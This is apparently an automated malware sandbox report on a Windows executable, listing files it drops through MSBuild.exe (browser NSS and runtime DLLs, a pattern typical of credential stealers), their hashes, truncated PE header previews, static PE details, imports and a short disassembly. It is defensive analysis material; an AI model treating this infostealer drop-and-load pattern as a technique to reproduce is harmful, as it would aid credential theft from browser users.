SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\a43486128347[1].exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	551424
Entropy (8bit):	7.723529670914476
Encrypted:	false
SSDEEP:	12288:ofmHj9OPDULypmp0/dPAOQxjiVQZ9n4CZpywJl9VOLO4S:oq9O9gCZTaiiZ9tXVOL
MD5:	8E704ACD1B0C26FDCFD0374D57FCB28E
SHA1:	157B61A24087521693C8ACA743D60E4C33CB803D
SHA-256:	6C7818A65F46711FBC89CD7B548829E98BE247FAB8B2C4766C85B64BC632E797
SHA-512:	B9248880D2B68A7A171F210CE0D9DB345C189C411C4946238ED840D0ED993563B413D66A1ED61357BFE699EBC62F9817C4390CFFD30067F7A357A5DB3BD63351
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......=.9.y.WUy.WUy.WU..TTu.WU..RT..WU..STl.WU..VTz.WUy.VU!.WUilTTm.WUilSTk.WUilRT4.WU1m^Tx.WU1m.Ux.WU1mUTx.WURichy.WU................PE..L......g...............).....b......Ro.......0....@.................................q4....@.....................................(.......................................................................@............0..,............................text............................... ..`.rdata..x....0......................@..@.data...............................@....rsrc................J..............@..@.reloc...............N..............@..B........................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\msvcp140[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\freebl3[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\vcruntime140[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\mozglue[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\nss3[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\softokn3[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\sql[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2459136
Entropy (8bit):	6.052474106868353
Encrypted:	false
SSDEEP:	49152:WHoJ9zGioiMjW2RrL9B8SSpiCH7cuez9A:WHoJBGqabRnj8JY/9
MD5:	90E744829865D57082A7F452EDC90DE5
SHA1:	833B178775F39675FA4E55EAB1032353514E1052
SHA-256:	036A57102385D7F0D7B2DEACF932C1C372AE30D924365B7A88F8A26657DD7550
SHA-512:	0A2D112FF7CB806A74F5EC17FE097D28107BB497D6ED5AD28EA47E6795434BA903CDB49AAF97A9A99C08CD0411F1969CAD93031246DC107C26606A898E570323
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........7.Z.Y.Z.Y.Z.Y...Z.n.Y...\..Y...]...Y...X.Y.Y.Z.X..Y.O.\.E.Y.O.].U.Y.O.Z.L.Y.l3].[.Y.l3Y.[.Y.l3..[.Y.l3[.[.Y.RichZ.Y.................PE..L...i.`e...........!...%.. .........{D........ ...............................%...........@...........................#..6....$.(.....$.......................$.....`.#.8...........................x.#.@.............$..............................text...G. ....... ................. ..`.rdata...".... ..$.... .............@..@.data...4\|... $..b....#.............@....idata........$......^$.............@..@.00cfg........$......p$.............@..@.rsrc.........$......r$.............@..@.reloc..5.....$.......$.............@..B................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\delays.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	1048575
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:nJpppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppJ:J
MD5:	7EFA48B0AA3F7E4F68929222AAE0609F
SHA1:	380DBFEEEF0FA7924FAEE27A8C442FD0E8D26993
SHA-256:	A174584309C1B2B205AD342333F92B1FE2A815763D3FF9688A278D730776DC3C
SHA-512:	B5BADF9D1344338322BD426BEC7C7F548BD9E419CD26063A920026C6253E60F4B5279F3F7416E362257D8C87DB9229DDB09B55C9268EC11B932C852117A71AEE
Malicious:	false
Preview:	LLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLL

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.472958328935337
Encrypted:	false
SSDEEP:	6144:mIXfpi67eLPU9skLmb0b4bWSPKaJG8nAgejZMMhA2gX4WABl0uNodwBCswSbX:LXD94bWlLZMM6YFH++X
MD5:	3AFDBCF60974395B34F26ED26DC1D1D2
SHA1:	07D8483C4217FC2DD673F61CC96466F46B1499F4
SHA-256:	E60925F1002457EC246D22B73A03439B7CFABC724687A6FE7C74CE0806FF75EB
SHA-512:	4A315A7A43E654830FC2D464378BD2E339ED7B6CCD05A28C899D2B536BFF18BFEB488413E502C4CA951FA6B71AB0251F4E8B2B0D280FCE5178E7C0E7DB4C50EC
Malicious:	false
Preview:	regf7...7....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm>.".................................................................................................................................................................................................................................................................................................................................................O.4.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.746064028127683
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	f1r6P3j3g7.exe
File size:	584'704 bytes
MD5:	8351aa212d7278c381ebe13f2a435ad9
SHA1:	d529652f0ba92febad36c66a1b5be4398eddaef2
SHA256:	a86c7b65a6348d392d10d3982b6d0b896fdf646b218903a012d3c0dd73159f5b
SHA512:	8ac16c1c659da3562a1b6c7b6a8999da49420d0860e18f601ce6ae737113c82b074b1a724db3b807b41da04f0fbbdfdecb8d42856f72cb0a1732a4dfbfbc2e47
SSDEEP:	12288:fls0xfgBSzcsLJPVB1DrYoLRn/4CAkJwh9Jb6OYDU3zHCf4S:fHfgeDPMoLRwCAY06S39
TLSH:	62C4F11272C1C472D573163246F4DAB5AA7EB8B00F628EDF67940B7E8B306D1D721A63
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......=.9.y.WUy.WUy.WU..TTu.WU..RT..WU..STl.WU..VTz.WUy.VU!.WUilTTm.WUilSTk.WUilRT4.WU1m^Tx.WU1m.Ux.WU1mUTx.WURichy.WU...............

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x406f52
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x67040A1B [Mon Oct 7 16:19:39 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	d10af643340e1121562abe3e6bd5b0e1

Entrypoint Preview

Instruction
call 00007F6D08BA5050h
jmp 00007F6D08BA45BFh
push ebp
mov ebp, esp
mov eax, dword ptr [ebp+08h]
push esi
mov ecx, dword ptr [eax+3Ch]
add ecx, eax
movzx eax, word ptr [ecx+14h]
lea edx, dword ptr [ecx+18h]
add edx, eax
movzx eax, word ptr [ecx+06h]
imul esi, eax, 28h
add esi, edx
cmp edx, esi
je 00007F6D08BA475Bh
mov ecx, dword ptr [ebp+0Ch]
cmp ecx, dword ptr [edx+0Ch]
jc 00007F6D08BA474Ch
mov eax, dword ptr [edx+08h]
add eax, dword ptr [edx+0Ch]
cmp ecx, eax
jc 00007F6D08BA474Eh
add edx, 28h
cmp edx, esi
jne 00007F6D08BA472Ch
xor eax, eax
pop esi
pop ebp
ret
mov eax, edx
jmp 00007F6D08BA473Bh
push esi
call 00007F6D08BA5364h
test eax, eax
je 00007F6D08BA4762h
mov eax, dword ptr fs:[00000018h]
mov esi, 0048E93Ch
mov edx, dword ptr [eax+04h]
jmp 00007F6D08BA4746h
cmp edx, eax
je 00007F6D08BA4752h
xor eax, eax
mov ecx, edx
lock cmpxchg dword ptr [esi], ecx
test eax, eax
jne 00007F6D08BA4732h
xor al, al
pop esi
ret
mov al, 01h
pop esi
ret
push ebp
mov ebp, esp
cmp dword ptr [ebp+08h], 00000000h
jne 00007F6D08BA4749h
mov byte ptr [0048E940h], 00000001h
call 00007F6D08BA49FAh
call 00007F6D08BA7917h
test al, al
jne 00007F6D08BA4746h
xor al, al
pop ebp
ret
call 00007F6D08BB0379h
test al, al
jne 00007F6D08BA474Ch
push 00000000h
call 00007F6D08BA791Eh
pop ecx
jmp 00007F6D08BA472Bh
mov al, 01h
pop ebp
ret
push ebp
mov ebp, esp
cmp byte ptr [0048E941h], 00000000h
je 00007F6D08BA4746h
mov al, 01h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x2c6c0	0x28	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x90000	0x3d8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x91000	0x1acc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x2abc0	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x2ab00	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x23000	0x12c	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x210f0	0x21200	080943180c663a1ad13706ea6cac6594	False	0.5865418632075472	data	6.6657202229050165	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x23000	0x9d78	0x9e00	69fd525d9346b57fb45ba4e830736fa8	False	0.43527492088607594	data	4.961056041031523	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x2d000	0x62568	0x61800	d489d5fd795fba06f38cb50bf3be4554	False	0.9919195713141026	DOS executable (block device driver \377\377\377\377,32-bit sector-support)	7.9930219478200035	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x90000	0x3d8	0x400	af649139f3e8354e0bee38868a95abf6	False	0.439453125	data	3.276619243827775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x91000	0x1acc	0x1c00	31331e0e1bc7319fd3846f1ae518052f	False	0.7260044642857143	data	6.387480786696945	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0x90058	0x380	data	English	United States	0.46205357142857145

Imports

DLL

Import

KERNEL32.dll

AttachConsole, MultiByteToWideChar, GetStringTypeW, WideCharToMultiByte, EnterCriticalSection, LeaveCriticalSection, InitializeCriticalSectionEx, DeleteCriticalSection, EncodePointer, DecodePointer, LCMapStringEx, GetCPInfo, IsProcessorFeaturePresent, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetCurrentProcess, TerminateProcess, QueryPerformanceCounter, GetCurrentProcessId, GetCurrentThreadId, GetSystemTimeAsFileTime, InitializeSListHead, IsDebuggerPresent, GetStartupInfoW, GetModuleHandleW, CreateFileW, RaiseException, RtlUnwind, GetLastError, SetLastError, InitializeCriticalSectionAndSpinCount, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, FreeLibrary, GetProcAddress, LoadLibraryExW, GetStdHandle, WriteFile, GetModuleFileNameW, ExitProcess, GetModuleHandleExW, HeapAlloc, HeapFree, GetFileType, LCMapStringW, GetLocaleInfoW, IsValidLocale, GetUserDefaultLCID, EnumSystemLocalesW, GetFileSizeEx, SetFilePointerEx, CloseHandle, FlushFileBuffers, GetConsoleOutputCP, GetConsoleMode, ReadFile, HeapReAlloc, FindClose, FindFirstFileExW, FindNextFileW, IsValidCodePage, GetACP, GetOEMCP, GetCommandLineA, GetCommandLineW, GetEnvironmentStringsW, FreeEnvironmentStringsW, SetStdHandle, GetProcessHeap, ReadConsoleW, HeapSize, WriteConsoleW

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

